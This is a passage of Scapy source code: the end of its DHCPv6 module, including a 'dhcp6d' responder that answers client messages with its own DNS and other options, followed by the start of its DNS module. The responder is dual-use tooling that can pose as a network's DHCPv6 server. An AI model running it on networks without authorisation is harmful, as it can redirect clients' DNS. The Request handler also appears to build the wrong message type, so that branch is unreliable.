x.split('.'))) return tmp class DHCP6OptNISDomain(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS Domain Name" fields_desc = [ ShortEnumField("optcode", 29, dhcp6opts), FieldLenField("optlen", None, length_of="nisdomain"), DomainNameField("nisdomain", "", length_from = lambda pkt: pkt.optlen) ] class DHCP6OptNISPDomain(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS+ Domain Name" fields_desc = [ ShortEnumField("optcode", 30, dhcp6opts), FieldLenField("optlen", None, length_of="nispdomain"), DomainNameField("nispdomain", "", length_from= lambda pkt: pkt.optlen) ] class DHCP6OptSNTPServers(_DHCP6OptGuessPayload): #RFC4075 name = "DHCP6 option - SNTP Servers" fields_desc = [ ShortEnumField("optcode", 31, dhcp6opts), FieldLenField("optlen", None, length_of="sntpservers"), IP6ListField("sntpservers", [], length_from = lambda pkt: pkt.optlen) ] IRT_DEFAULT=86400 IRT_MINIMUM=600 class DHCP6OptInfoRefreshTime(_DHCP6OptGuessPayload): #RFC4242 name = "DHCP6 Option - Information Refresh Time" fields_desc = [ ShortEnumField("optcode", 32, dhcp6opts), ShortField("optlen", 4), IntField("reftime", IRT_DEFAULT)] # One day class DHCP6OptBCMCSDomains(_DHCP6OptGuessPayload): #RFC4280 name = "DHCP6 Option - BCMCS Domain Name List" fields_desc = [ ShortEnumField("optcode", 33, dhcp6opts), FieldLenField("optlen", None, length_of="bcmcsdomains"), DomainNameListField("bcmcsdomains", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptBCMCSServers(_DHCP6OptGuessPayload): #RFC4280 name = "DHCP6 Option - BCMCS Addresses List" fields_desc = [ ShortEnumField("optcode", 34, dhcp6opts), FieldLenField("optlen", None, length_of="bcmcsservers"), IP6ListField("bcmcsservers", [], length_from= lambda pkt: pkt.optlen) ] # TODO : Does Nothing at the moment class DHCP6OptGeoConf(_DHCP6OptGuessPayload): #RFC-ietf-geopriv-dhcp-civil-09.txt name = "" fields_desc = [ ShortEnumField("optcode", 36, dhcp6opts), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen) ] # TODO: see if we encounter opaque values from vendor devices class DHCP6OptRemoteID(_DHCP6OptGuessPayload): #RFC4649 name = "DHCP6 Option - Relay Agent Remote-ID" fields_desc = [ ShortEnumField("optcode", 37, dhcp6opts), FieldLenField("optlen", None, length_of="remoteid", adjust = lambda pkt,x: x+4), IntEnumField("enterprisenum", None, iana_enterprise_num), StrLenField("remoteid", "", length_from = lambda pkt: pkt.optlen-4) ] # TODO : 'subscriberid' default value should be at least 1 byte long class DHCP6OptSubscriberID(_DHCP6OptGuessPayload): #RFC4580 name = "DHCP6 Option - Subscriber ID" fields_desc = [ ShortEnumField("optcode", 38, dhcp6opts), FieldLenField("optlen", None, length_of="subscriberid"), StrLenField("subscriberid", "", length_from = lambda pkt: pkt.optlen) ] # TODO : "The data in the Domain Name field MUST be encoded # as described in Section 8 of [5]" class DHCP6OptClientFQDN(_DHCP6OptGuessPayload): #RFC4704 name = "DHCP6 Option - Client FQDN" fields_desc = [ ShortEnumField("optcode", 39, dhcp6opts), FieldLenField("optlen", None, length_of="fqdn", adjust = lambda pkt,x: x+1), BitField("res", 0, 5), FlagsField("flags", 0, 3, "SON" ), DomainNameField("fqdn", "", length_from = lambda pkt: pkt.optlen-1) ] class DHCP6OptRelayAgentERO(_DHCP6OptGuessPayload): # RFC4994 name = "DHCP6 Option - RelayRequest Option" fields_desc = [ ShortEnumField("optcode", 43, dhcp6opts), FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), _OptReqListField("reqopts", [23, 24], length_from = lambda pkt: pkt.optlen) ] ##################################################################### ### DHCPv6 messages ### ##################################################################### # Some state parameters of the protocols that should probably be # useful to have in the configuration (and keep up-to-date) DHCP6RelayAgentUnicastAddr="" DHCP6RelayHopCount="" DHCP6ServerUnicastAddr="" DHCP6ClientUnicastAddr="" DHCP6ClientIA_TA="" DHCP6ClientIA_NA="" DHCP6ClientIAID="" T1="" # Voir 2462 T2="" # Voir 2462 DHCP6ServerDUID="" DHCP6CurrentTransactionID="" # devrait etre utilise pour matcher une # reponse et mis a jour en mode client par une valeur aleatoire pour # laquelle on attend un retour de la part d'un serveur. DHCP6PrefVal="" # la valeur de preference a utiliser dans # les options preference # Emitted by : # - server : ADVERTISE, REPLY, RECONFIGURE, RELAY-REPL (vers relay) # - client : SOLICIT, REQUEST, CONFIRM, RENEW, REBIND, RELEASE, DECLINE, # INFORMATION REQUEST # - relay : RELAY-FORW (toward server) ##################################################################### ## DHCPv6 messages sent between Clients and Servers (types 1 to 11) # Comme specifie en section 15.1 de la RFC 3315, les valeurs de # transaction id sont selectionnees de maniere aleatoire par le client # a chaque emission et doivent matcher dans les reponses faites par # les clients class DHCP6(_DHCP6OptGuessPayload): name = "DHCPv6 Generic Message" fields_desc = [ ByteEnumField("msgtype",None,dhcp6types), X3BytesField("trid",0x000000) ] overload_fields = { UDP: {"sport": 546, "dport": 547} } def hashret(self): return struct.pack("!I", self.trid)[1:4] ##################################################################### # Solicit Message : sect 17.1.1 RFC3315 # - sent by client # - must include a client identifier option # - the client may include IA options for any IAs to which it wants the # server to assign address # - The client use IA_NA options to request the assignment of # non-temporary addresses and uses IA_TA options to request the # assignment of temporary addresses # - The client should include an Option Request option to indicate the # options the client is interested in receiving (eventually # including hints) # - The client includes a Reconfigure Accept option if is willing to # accept Reconfigure messages from the server. # Le cas du send and reply est assez particulier car suivant la # presence d'une option rapid commit dans le solicit, l'attente # s'arrete au premier message de reponse recu ou alors apres un # timeout. De la meme maniere, si un message Advertise arrive avec une # valeur de preference de 255, il arrete l'attente et envoie une # Request. # - The client announces its intention to use DHCP authentication by # including an Authentication option in its solicit message. The # server selects a key for the client based on the client's DUID. The # client and server use that key to authenticate all DHCP messages # exchanged during the session class DHCP6_Solicit(DHCP6): name = "DHCPv6 Solicit Message" msgtype = 1 overload_fields = { UDP: {"sport": 546, "dport": 547} } ##################################################################### # Advertise Message # - sent by server # - Includes a server identifier option # - Includes a client identifier option # - the client identifier option must match the client's DUID # - transaction ID must match class DHCP6_Advertise(DHCP6): name = "DHCPv6 Advertise Message" msgtype = 2 overload_fields = { UDP: {"sport": 547, "dport": 546} } def answers(self, other): return (isinstance(other,DHCP6_Solicit) and other.msgtype == 1 and self.trid == other.trid) ##################################################################### # Request Message # - sent by clients # - includes a server identifier option # - the content of Server Identifier option must match server's DUID # - includes a client identifier option # - must include an ORO Option (even with hints) p40 # - can includes a reconfigure Accept option indicating whether or # not the client is willing to accept Reconfigure messages from # the server (p40) # - When the server receives a Request message via unicast from a # client to which the server has not sent a unicast option, the server # discards the Request message and responds with a Reply message # containinig Status Code option with the value UseMulticast, a Server # Identifier Option containing the server's DUID, the client # Identifier option from the client message and no other option. class DHCP6_Request(DHCP6): name = "DHCPv6 Request Message" msgtype = 3 ##################################################################### # Confirm Message # - sent by clients # - must include a clien identifier option # - When the server receives a Confirm Message, the server determines # whether the addresses in the Confirm message are appropriate for the # link to which the client is attached. cf p50 class DHCP6_Confirm(DHCP6): name = "DHCPv6 Confirm Message" msgtype = 4 ##################################################################### # Renew Message # - sent by clients # - must include a server identifier option # - content of server identifier option must match the server's identifier # - must include a client identifier option # - the clients includes any IA assigned to the interface that may # have moved to a new link, along with the addresses associated with # those IAs in its confirm messages # - When the server receives a Renew message that contains an IA # option from a client, it locates the client's binding and verifies # that the information in the IA from the client matches the # information for that client. If the server cannot find a client # entry for the IA the server returns the IA containing no addresses # with a status code option est to NoBinding in the Reply message. cf # p51 pour le reste. class DHCP6_Renew(DHCP6): name = "DHCPv6 Renew Message" msgtype = 5 ##################################################################### # Rebind Message # - sent by clients # - must include a client identifier option # cf p52 class DHCP6_Rebind(DHCP6): name = "DHCPv6 Rebind Message" msgtype = 6 ##################################################################### # Reply Message # - sent by servers # - the message must include a server identifier option # - transaction-id field must match the value of original message # The server includes a Rapid Commit option in the Reply message to # indicate that the reply is in response to a solicit message # - if the client receives a reply message with a Status code option # with the value UseMulticast, the client records the receipt of the # message and sends subsequent messages to the server through the # interface on which the message was received using multicast. The # client resends the original message using multicast # - When the client receives a NotOnLink status from the server in # response to a Confirm message, the client performs DHCP server # solicitation as described in section 17 and client-initiated # configuration as descrribed in section 18 (RFC 3315) # - when the client receives a NotOnLink status from the server in # response to a Request, the client can either re-issue the Request # without specifying any addresses or restart the DHCP server # discovery process. # - the server must include a server identifier option containing the # server's DUID in the Reply message class DHCP6_Reply(DHCP6): name = "DHCPv6 Reply Message" msgtype = 7 overload_fields = { UDP: {"sport": 547, "dport": 546} } def answers(self, other): types = (DHCP6_InfoRequest, DHCP6_Confirm, DHCP6_Rebind, DHCP6_Decline, DHCP6_Request, DHCP6_Release, DHCP6_Renew) return (isinstance(other, types) and self.trid == other.trid) ##################################################################### # Release Message # - sent by clients # - must include a server identifier option # cf p53 class DHCP6_Release(DHCP6): name = "DHCPv6 Release Message" msgtype = 8 ##################################################################### # Decline Message # - sent by clients # - must include a client identifier option # - Server identifier option must match server identifier # - The addresses to be declined must be included in the IAs. Any # addresses for the IAs the client wishes to continue to use should # not be in added to the IAs. # - cf p54 class DHCP6_Decline(DHCP6): name = "DHCPv6 Decline Message" msgtype = 9 ##################################################################### # Reconfigure Message # - sent by servers # - must be unicast to the client # - must include a server identifier option # - must include a client identifier option that contains the client DUID # - must contain a Reconfigure Message Option and the message type # must be a valid value # - the server sets the transaction-id to 0 # - The server must use DHCP Authentication in the Reconfigure # message. Autant dire que ca va pas etre le type de message qu'on va # voir le plus souvent. class DHCP6_Reconf(DHCP6): name = "DHCPv6 Reconfigure Message" msgtype = 10 overload_fields = { UDP: { "sport": 547, "dport": 546 } } ##################################################################### # Information-Request Message # - sent by clients when needs configuration information but no # addresses. # - client should include a client identifier option to identify # itself. If it doesn't the server is not able to return client # specific options or the server can choose to not respond to the # message at all. The client must include a client identifier option # if the message will be authenticated. # - client must include an ORO of option she's interested in receiving # (can include hints) class DHCP6_InfoRequest(DHCP6): name = "DHCPv6 Information Request Message" msgtype = 11 ##################################################################### # sent between Relay Agents and Servers # # Normalement, doit inclure une option "Relay Message Option" # peut en inclure d'autres. # voir section 7.1 de la 3315 # Relay-Forward Message # - sent by relay agents to servers # If the relay agent relays messages to the All_DHCP_Servers multicast # address or other multicast addresses, it sets the Hop Limit field to # 32. class DHCP6_RelayForward(_DHCP6OptGuessPayload,Packet): name = "DHCPv6 Relay Forward Message (Relay Agent/Server Message)" fields_desc = [ ByteEnumField("msgtype", 12, dhcp6types), ByteField("hopcount", None), IP6Field("linkaddr", "::"), IP6Field("peeraddr", "::") ] overload_fields = { UDP: { "sport": 547, "dport": 547 } } def hashret(self): # we filter on peer address field return inet_pton(socket.AF_INET6, self.peeraddr) ##################################################################### # sent between Relay Agents and Servers # Normalement, doit inclure une option "Relay Message Option" # peut en inclure d'autres. # Les valeurs des champs hop-count, link-addr et peer-addr # sont copiees du messsage Forward associe. POur le suivi de session. # Pour le moment, comme decrit dans le commentaire, le hashret # se limite au contenu du champ peer address. # Voir section 7.2 de la 3315. # Relay-Reply Message # - sent by servers to relay agents # - if the solicit message was received in a Relay-Forward message, # the server constructs a relay-reply message with the Advertise # message in the payload of a relay-message. cf page 37/101. Envoie de # ce message en unicast au relay-agent. utilisation de l'adresse ip # presente en ip source du paquet recu class DHCP6_RelayReply(DHCP6_RelayForward): name = "DHCPv6 Relay Reply Message (Relay Agent/Server Message)" msgtype = 13 def hashret(self): # We filter on peer address field. return inet_pton(socket.AF_INET6, self.peeraddr) def answers(self, other): return (isinstance(other, DHCP6_RelayForward) and self.hopcount == other.hopcount and self.linkaddr == other.linkaddr and self.peeraddr == other.peeraddr ) dhcp6_cls_by_type = { 1: "DHCP6_Solicit", 2: "DHCP6_Advertise", 3: "DHCP6_Request", 4: "DHCP6_Confirm", 5: "DHCP6_Renew", 6: "DHCP6_Rebind", 7: "DHCP6_Reply", 8: "DHCP6_Release", 9: "DHCP6_Decline", 10: "DHCP6_Reconf", 11: "DHCP6_InfoRequest", 12: "DHCP6_RelayForward", 13: "DHCP6_RelayReply" } def _dhcp6_dispatcher(x, *args, **kargs): cls = conf.raw_layer if len(x) >= 2: cls = get_cls(dhcp6_cls_by_type.get(ord(x[0]), "Raw"), conf.raw_layer) return cls(x, *args, **kargs) bind_bottom_up(UDP, _dhcp6_dispatcher, { "dport": 547 } ) bind_bottom_up(UDP, _dhcp6_dispatcher, { "dport": 546 } ) class DHCPv6_am(AnsweringMachine): function_name = "dhcp6d" filter = "udp and port 546 and port 547" send_function = staticmethod(send) def usage(self): msg = """ dhcp6d( dns="2001:500::1035", domain="localdomain, local", duid=None) iface=conf.iface6, advpref=255, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsdomain=None, bcmcsservers=None) debug : When set, additional debugging information is printed. duid : some DUID class (DUID_LLT, DUID_LL or DUID_EN). If none is provided a DUID_LLT is constructed based on the MAC address of the sending interface and launch time of dhcp6d answering machine. iface : the interface to listen/reply on if you do not want to use conf.iface6. advpref : Value in [0,255] given to Advertise preference field. By default, 255 is used. Be aware that this specific value makes clients stops waiting for further Advertise messages from other servers. dns : list of recursive DNS servers addresses (as a string or list). By default, it is set empty and the associated DHCP6OptDNSServers option is inactive. See RFC 3646 for details. domain : a list of DNS search domain (as a string or list). By default, it is empty and the associated DHCP6OptDomains option is inactive. See RFC 3646 for details. sntpservers : a list of SNTP servers IPv6 addresses. By default, it is empty and the associated DHCP6OptSNTPServers option is inactive. sipdomains : a list of SIP domains. By default, it is empty and the associated DHCP6OptSIPDomains option is inactive. See RFC 3319 for details. sipservers : a list of SIP servers IPv6 addresses. By default, it is empty and the associated DHCP6OptSIPDomains option is inactive. See RFC 3319 for details. nisdomain : a list of NIS domains. By default, it is empty and the associated DHCP6OptNISDomains option is inactive. See RFC 3898 for details. See RFC 3646 for details. nisservers : a list of NIS servers IPv6 addresses. By default, it is empty and the associated DHCP6OptNISServers option is inactive. See RFC 3646 for details. nispdomain : a list of NIS+ domains. By default, it is empty and the associated DHCP6OptNISPDomains option is inactive. See RFC 3898 for details. nispservers : a list of NIS+ servers IPv6 addresses. By default, it is empty and the associated DHCP6OptNISServers option is inactive. See RFC 3898 for details. bcmcsdomain : a list of BCMCS domains. By default, it is empty and the associated DHCP6OptBCMCSDomains option is inactive. See RFC 4280 for details. bcmcsservers : a list of BCMCS servers IPv6 addresses. By default, it is empty and the associated DHCP6OptBCMCSServers option is inactive. See RFC 4280 for details. If you have a need for others, just ask ... or provide a patch.""" print msg def parse_options(self, dns="2001:500::1035", domain="localdomain, local", startip="2001:db8::1", endip="2001:db8::20", duid=None, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsservers=None, bcmcsdomains=None, iface=None, debug=0, advpref=255): def norm_list(val, param_name): if val is None: return None if type(val) is list: return val elif type(val) is str: l = val.split(',') return map(lambda x: x.strip(), l) else: print "Bad '%s' parameter provided." % param_name self.usage() return -1 if iface is None: iface = conf.iface6 self.debug = debug # Dictionary of provided DHCPv6 options, keyed by option type self.dhcpv6_options={} for o in [(dns, "dns", 23, lambda x: DHCP6OptDNSServers(dnsservers=x)), (domain, "domain", 24, lambda x: DHCP6OptDNSDomains(dnsdomains=x)), (sntpservers, "sntpservers", 31, lambda x: DHCP6OptSNTPServers(sntpservers=x)), (sipservers, "sipservers", 22, lambda x: DHCP6OptSIPServers(sipservers=x)), (sipdomains, "sipdomains", 21, lambda x: DHCP6OptSIPDomains(sipdomains=x)), (nisservers, "nisservers", 27, lambda x: DHCP6OptNISServers(nisservers=x)), (nisdomain, "nisdomain", 29, lambda x: DHCP6OptNISDomain(nisdomain=(x+[""])[0])), (nispservers, "nispservers", 28, lambda x: DHCP6OptNISPServers(nispservers=x)), (nispdomain, "nispdomain", 30, lambda x: DHCP6OptNISPDomain(nispdomain=(x+[""])[0])), (bcmcsservers, "bcmcsservers", 33, lambda x: DHCP6OptBCMCSServers(bcmcsservers=x)), (bcmcsdomains, "bcmcsdomains", 34, lambda x: DHCP6OptBCMCSDomains(bcmcsdomains=x))]: opt = norm_list(o[0], o[1]) if opt == -1: # Usage() was triggered return False elif opt is None: # We won't return that option pass else: self.dhcpv6_options[o[2]] = o[3](opt) if self.debug: print "\n[+] List of active DHCPv6 options:" opts = self.dhcpv6_options.keys() opts.sort() for i in opts: print " %d: %s" % (i, repr(self.dhcpv6_options[i])) # Preference value used in Advertise. self.advpref = advpref # IP Pool self.startip = startip self.endip = endip # XXX TODO Check IPs are in same subnet #### # The interface we are listening/replying on self.iface = iface #### # Generate a server DUID if duid is not None: self.duid = duid else: # Timeval from time import gmtime, strftime, mktime epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0) delta = mktime(epoch) - mktime(gmtime(0)) timeval = time.time() - delta # Mac Address rawmac = get_if_raw_hwaddr(iface)[1] mac = ":".join(map(lambda x: "%.02x" % ord(x), list(rawmac))) self.duid = DUID_LLT(timeval = timeval, lladdr = mac) if self.debug: print "\n[+] Our server DUID:" self.duid.show(label_lvl=" "*4) #### # Find the source address we will use l = filter(lambda x: x[2] == iface and in6_islladdr(x[0]), in6_getifaddr()) if not l: warning("Unable to get a Link-Local address") return self.src_addr = l[0][0] #### # Our leases self.leases = {} if self.debug: print "\n[+] Starting DHCPv6 service on %s:" % self.iface def is_request(self, p): if not IPv6 in p: return False src = p[IPv6].src dst = p[IPv6].dst p = p[IPv6].payload if not isinstance(p, UDP) or p.sport != 546 or p.dport != 547 : return False p = p.payload if not isinstance(p, DHCP6): return False # Message we considered client messages : # Solicit (1), Request (3), Confirm (4), Renew (5), Rebind (6) # Decline (9), Release (8), Information-request (11), if not (p.msgtype in [1, 3, 4, 5, 6, 8, 9, 11]): return False # Message validation following section 15 of RFC 3315 if ((p.msgtype == 1) or # Solicit (p.msgtype == 6) or # Rebind (p.msgtype == 4)): # Confirm if ((not DHCP6OptClientId in p) or DHCP6OptServerId in p): return False if (p.msgtype == 6 or # Rebind p.msgtype == 4): # Confirm # XXX We do not reply to Confirm or Rebind as we # XXX do not support address assignment return False elif (p.msgtype == 3 or # Request p.msgtype == 5 or # Renew p.msgtype == 8): # Release # Both options must be present if ((not DHCP6OptServerId in p) or (not DHCP6OptClientId in p)): return False # provided server DUID must match ours duid = p[DHCP6OptServerId].duid if (type(duid) != type(self.duid)): return False if str(duid) != str(self.duid): return False if (p.msgtype == 5 or # Renew p.msgtype == 8): # Release # XXX We do not reply to Renew or Release as we # XXX do not support address assignment return False elif p.msgtype == 9: # Decline # XXX We should check if we are tracking that client if not self.debug: return False bo = Color.bold g = Color.green + bo b = Color.blue + bo n = Color.normal r = Color.red vendor = in6_addrtovendor(src) if (vendor and vendor != "UNKNOWN"): vendor = " [" + b + vendor + n + "]" else: vendor = "" src = bo + src + n it = p addrs = [] while it: l = [] if isinstance(it, DHCP6OptIA_NA): l = it.ianaopts elif isinstance(it, DHCP6OptIA_TA): l = it.iataopts opsaddr = filter(lambda x: isinstance(x, DHCP6OptIAAddress),l) a=map(lambda x: x.addr, opsaddr) addrs += a it = it.payload addrs = map(lambda x: bo + x + n, addrs) if debug: msg = r + "[DEBUG]" + n + " Received " + g + "Decline" + n msg += " from " + bo + src + vendor + " for " msg += ", ".join(addrs)+ n print msg # See sect 18.1.7 # Sent by a client to warn us she has determined # one or more addresses assigned to her is already # used on the link. # We should simply log that fact. No messaged should # be sent in return. # - Message must include a Server identifier option # - the content of the Server identifier option must # match the server's identifier # - the message must include a Client Identifier option return False elif p.msgtype == 11: # Information-Request if DHCP6OptServerId in p: duid = p[DHCP6OptServerId].duid if (type(duid) != type(self.duid)): return False if str(duid) != str(self.duid): return False if ((DHCP6OptIA_NA in p) or (DHCP6OptIA_TA in p) or (DHCP6OptIA_PD in p)): return False else: return False return True def print_reply(self, req, reply): def norm(s): if s.startswith("DHCPv6 "): s = s[7:] if s.endswith(" Message"): s = s[:-8] return s if reply is None: return bo = Color.bold g = Color.green + bo b = Color.blue + bo n = Color.normal reqtype = g + norm(req.getlayer(UDP).payload.name) + n reqsrc = req.getlayer(IPv6).src vendor = in6_addrtovendor(reqsrc) if (vendor and vendor != "UNKNOWN"): vendor = " [" + b + vendor + n + "]" else: vendor = "" reqsrc = bo + reqsrc + n reptype = g + norm(reply.getlayer(UDP).payload.name) + n print "Sent %s answering to %s from %s%s" % (reptype, reqtype, reqsrc, vendor) def make_reply(self, req): req_mac_src = req.src req_mac_dst = req.dst p = req[IPv6] req_src = p.src req_dst = p.dst p = p.payload.payload msgtype = p.msgtype trid = p.trid if msgtype == 1: # SOLICIT (See Sect 17.1 and 17.2 of RFC 3315) # XXX We don't support address or prefix assignment # XXX We also do not support relay function --arno client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) if p.haslayer(DHCP6OptRapidCommit): # construct a Reply packet resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptRapidCommit() # See 17.1.2 resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) else: # No Rapid Commit in the packet. Reply with an Advertise if (p.haslayer(DHCP6OptIA_NA) or p.haslayer(DHCP6OptIA_TA)): # XXX We don't assign addresses at the moment msg = "Scapy6 dhcp6d does not support address assignment" resp /= DHCP6_Advertise(trid = trid) resp /= DHCP6OptStatusCode(statuscode=2, statusmsg=msg) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) elif p.haslayer(DHCP6OptIA_PD): # XXX We don't assign prefixes at the moment msg = "Scapy6 dhcp6d does not support prefix assignment" resp /= DHCP6_Advertise(trid = trid) resp /= DHCP6OptStatusCode(statuscode=6, statusmsg=msg) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) else: # Usual case, no request for prefixes or addresse resp /= DHCP6_Advertise(trid = trid) resp /= DHCP6OptPref(prefval = self.advpref) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) resp /= DHCP6OptReconfAccept() # See which options should be included reqopts = [] if p.haslayer(DHCP6OptOptReq): # add only asked ones reqopts = p[DHCP6OptOptReq].reqopts for o in self.dhcpv6_options.keys(): if o in reqopts: resp /= self.dhcpv6_options[o] else: # advertise everything we have available for o in self.dhcpv6_options.keys(): resp /= self.dhcpv6_options[o] return resp elif msgtype == 3: #REQUEST (INFO-REQUEST is further below) client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) resp /= DHCP6_Solicit(trid=trid) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) # See which options should be included reqopts = [] if p.haslayer(DHCP6OptOptReq): # add only asked ones reqopts = p[DHCP6OptOptReq].reqopts for o in self.dhcpv6_options.keys(): if o in reqopts: resp /= self.dhcpv6_options[o] else: # advertise everything we have available. # Should not happen has clients MUST include # and ORO in requests (sec 18.1.1) -- arno for o in self.dhcpv6_options.keys(): resp /= self.dhcpv6_options[o] return resp elif msgtype == 4: # CONFIRM # see Sect 18.1.2 # Client want to check if addresses it was assigned # are still appropriate # Server must discard any Confirm messages that # do not include a Client Identifier option OR # THAT DO INCLUDE a Server Identifier Option # XXX we must discard the SOLICIT if it is received with # a unicast destination address pass elif msgtype == 5: # RENEW # see Sect 18.1.3 # Clients want to extend lifetime of assigned addresses # and update configuration parameters. This message is sent # specifically to the server that provided her the info # - Received message must include a Server Identifier # option. # - the content of server identifier option must match # the server's identifier. # - the message must include a Client identifier option pass elif msgtype == 6: # REBIND # see Sect 18.1.4 # Same purpose as the Renew message but sent to any # available server after he received no response # to its previous Renew message. # - Message must include a Client Identifier Option # - Message can't include a Server identifier option # XXX we must discard the SOLICIT if it is received with # a unicast destination address pass elif msgtype == 8: # RELEASE # See section 18.1.6 # Message is sent to the server to indicate that # she will no longer use the addresses that was assigned # We should parse the message and verify our dictionary # to log that fact. # - The message must include a server identifier option # - The content of the Server Identifier option must # match the server's identifier # - the message must include a Client Identifier option pass elif msgtype == 9: # DECLINE # See section 18.1.7 pass elif msgtype == 11: # INFO-REQUEST client_duid = None if not p.haslayer(DHCP6OptClientId): if self.debug: warning("Received Info Request message without Client Id option") else: client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptServerId(duid = self.duid) if client_duid: resp /= DHCP6OptClientId(duid = client_duid) # Stack requested options if available reqopts = [] if p.haslayer(DHCP6OptOptReq): reqopts = p[DHCP6OptOptReq].reqopts for o in self.dhcpv6_options.keys(): resp /= self.dhcpv6_options[o] return resp else: # what else ? pass # - We won't support reemission # - We won't support relay role, nor relay forwarded messages # at the beginning scapy-2.3.3/scapy/layers/dns.py000066400000000000000000000556461300136037300164260ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ DNS: Domain Name System. """ import socket,struct from scapy.config import conf from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.sendrecv import sr1 from scapy.layers.inet import IP, DestIPField, UDP from scapy.layers.inet6 import DestIP6Field class DNSStrField(StrField): def h2i(self, pkt, x): if x == "": return "." return x def i2m(self, pkt, x): if x == ".": return "\x00" x = [k[:63] for k in x.split(".")] # Truncate chunks that cannot be encoded (more than 63 bytes..) x = map(lambda y: chr(len(y))+y, x) x = "".join(x) if x[-1] != "\x00": x += "\x00" return x def getfield(self, pkt, s): n = "" if ord(s[0]) == 0: return s[1:], "." while 1: l = ord(s[0]) s = s[1:] if not l: break if l & 0xc0: raise Scapy_Exception("DNS message can't be compressed at this point!") else: n += s[:l]+"." s = s[l:] return s, n class DNSRRCountField(ShortField): __slots__ = ["rr"] def __init__(self, name, default, rr): ShortField.__init__(self, name, default) self.rr = rr def _countRR(self, pkt): x = getattr(pkt,self.rr) i = 0 while isinstance(x, DNSRR) or isinstance(x, DNSQR) or isdnssecRR(x): x = x.payload i += 1 return i def i2m(self, pkt, x): if x is None: x = self._countRR(pkt) return x def i2h(self, pkt, x): if x is None: x = self._countRR(pkt) return x def DNSgetstr(s,p): name = "" q = 0 jpath = [p] while 1: if p >= len(s): warning("DNS RR prematured end (ofs=%i, len=%i)"%(p,len(s))) break l = ord(s[p]) p += 1 if l & 0xc0: if not q: q = p+1 if p >= len(s): warning("DNS incomplete jump token at (ofs=%i)" % p) break p = ((l & 0x3f) << 8) + ord(s[p]) - 12 if p in jpath: warning("DNS decompression loop detected") break jpath.append(p) continue elif l > 0: name += s[p:p+l]+"." p += l continue break if q: p = q return name,p class DNSRRField(StrField): __slots__ = ["countfld", "passon"] holds_packets = 1 def __init__(self, name, countfld, passon=1): StrField.__init__(self, name, None) self.countfld = countfld self.passon = passon def i2m(self, pkt, x): if x is None: return "" return str(x) def decodeRR(self, name, s, p): ret = s[p:p+10] type,cls,ttl,rdlen = struct.unpack("!HHIH", ret) p += 10 rr = DNSRR("\x00"+ret+s[p:p+rdlen]) if type in [2, 3, 4, 5]: rr.rdata = DNSgetstr(s,p)[0] del(rr.rdlen) elif type in DNSRR_DISPATCHER: rr = DNSRR_DISPATCHER[type]("\x00"+ret+s[p:p+rdlen]) else: del(rr.rdlen) p += rdlen rr.rrname = name return rr,p def getfield(self, pkt, s): if type(s) is tuple : s,p = s else: p = 0 ret = None c = getattr(pkt, self.countfld) if c > len(s): warning("wrong value: DNS.%s=%i" % (self.countfld,c)) return s,"" while c: c -= 1 name,p = DNSgetstr(s,p) rr,p = self.decodeRR(name, s, p) if ret is None: ret = rr else: ret.add_payload(rr) if self.passon: return (s,p),ret else: return s[p:],ret class DNSQRField(DNSRRField): def decodeRR(self, name, s, p): ret = s[p:p+4] p += 4 rr = DNSQR("\x00"+ret) rr.qname = name return rr,p class RDataField(StrLenField): def m2i(self, pkt, s): family = None if pkt.type == 1: # A family = socket.AF_INET elif pkt.type == 12: # PTR s = DNSgetstr(s, 0)[0] elif pkt.type == 16: # TXT ret_s = "" tmp_s = s # RDATA contains a list of strings, each are prepended with # a byte containing the size of the following string. while tmp_s: tmp_len = struct.unpack("!B", tmp_s[0])[0] + 1 if tmp_len > len(tmp_s): warning("DNS RR TXT prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) ret_s += tmp_s[1:tmp_len] tmp_s = tmp_s[tmp_len:] s = ret_s elif pkt.type == 28: # AAAA family = socket.AF_INET6 if family is not None: s = inet_ntop(family, s) return s def i2m(self, pkt, s): if pkt.type == 1: # A if s: s = inet_aton(s) elif pkt.type in [2, 3, 4, 5, 12]: # NS, MD, MF, CNAME, PTR s = "".join(map(lambda x: chr(len(x))+x, s.split("."))) if ord(s[-1]): s += "\x00" elif pkt.type == 16: # TXT if s: ret_s = "" # The initial string must be splitted into a list of strings # prepended with theirs sizes. while len(s) >= 255: ret_s += "\xff" + s[:255] s = s[255:] # The remaining string is less than 255 bytes long if len(s): ret_s += struct.pack("!B", len(s)) + s s = ret_s elif pkt.type == 28: # AAAA if s: s = inet_pton(socket.AF_INET6, s) return s class RDLenField(Field): def __init__(self, name): Field.__init__(self, name, None, "H") def i2m(self, pkt, x): if x is None: rdataf = pkt.get_field("rdata") x = len(rdataf.i2m(pkt, pkt.rdata)) return x def i2h(self, pkt, x): if x is None: rdataf = pkt.get_field("rdata") x = len(rdataf.i2m(pkt, pkt.rdata)) return x class DNS(Packet): name = "DNS" fields_desc = [ ShortField("id", 